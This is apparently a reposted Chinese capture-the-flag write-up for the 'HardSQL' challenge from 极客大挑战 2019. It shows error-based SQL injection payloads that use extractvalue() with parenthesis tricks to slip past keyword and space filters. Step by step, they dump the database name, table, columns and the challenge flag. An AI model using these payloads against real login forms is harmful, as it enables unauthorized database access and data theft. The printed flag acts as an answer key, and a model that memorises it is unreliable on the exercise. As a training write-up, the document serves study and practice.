当前位置:网站首页>[极客大挑战 2019]HardSQL
[极客大挑战 2019]HardSQL
2022-06-23 09:14:00 【K00sec】
[极客大挑战 2019]HardSQL
尝试了几种常用的方法,发现空格,or,and,union,order by不少都被过滤了。

试试报错注入,没用过就直接查了查百度找找看,然后就使用 extractvalue() 函数发现没有被过滤掉。


# 爆破当前数据库
?username=asdasdasda&password=2'-extractvalue(1,(concat(0x7e,(select(database())))))%23 # 爆破数据表 ?username=asdasdasda&password=2'-extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('%geek%')))))%23
## '~H4rDsq1'
# 爆破字段
?username=asdasdasda&password=2'-extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('%H4rDsq1%')))))%23 ## '~id,username,password' # 暴左边30位的值 ## extractvalue() 函数最大返回值 32 所以需要用到 left() 或者 right() 函数,从左边或者右边进行切割,再拼接。 ?username=asdasdasda&password=2'-extractvalue(1,(concat(0x7e,(select(left(password,31))from(H4rDsq1)))))%23
## 'flag{4e949b07-99eb-4fec-ae1b-17'
# 暴右边的值
?username=asdasdasda&password=2'-extractvalue(1,(concat(0x7e,(select(right(password,15))from(H4rDsq1)))))%23 ## '~b-173bd90bdf56}' # '最终flag:flag{
4e949b07-99eb-4fec-ae1b-173bd90bdf56}'
边栏推荐
猜你喜欢
随机推荐
Redis learning notes - traverse key
'coach, I want to play basketball!'—— AI Learning Series booklet for system students
Servlet-02 生命周期
Redis learning notes - data type: ordered set (Zset)
JS mask important data of ID card and mobile phone number with * *
Flink error --caused by: org apache. calcite. sql. parser. SqlParseException: Encountered “time“
How to use matrix analysis to build your thinking scaffold in flowus, notation and other note taking software
C#之Lambda不得不说的用法
Map接口的注意事项
Redis learning notes - data type: Set
Redis学习笔记—Pipeline
Mysql 数据库入门总结
文件的打开新建与存储
Redis learning notes - redis and Lua
Redis learning notes - data type: string (string)
Redis学习笔记—数据类型:字符串(string)
Quartz Crystal Drive Level Calculation
自定义标签——jsp标签基础
力扣之滑动窗口《循序渐进》(209.长度最小的子数组、904. 水果成篮)
Redis学习笔记—redis-benchmark详解








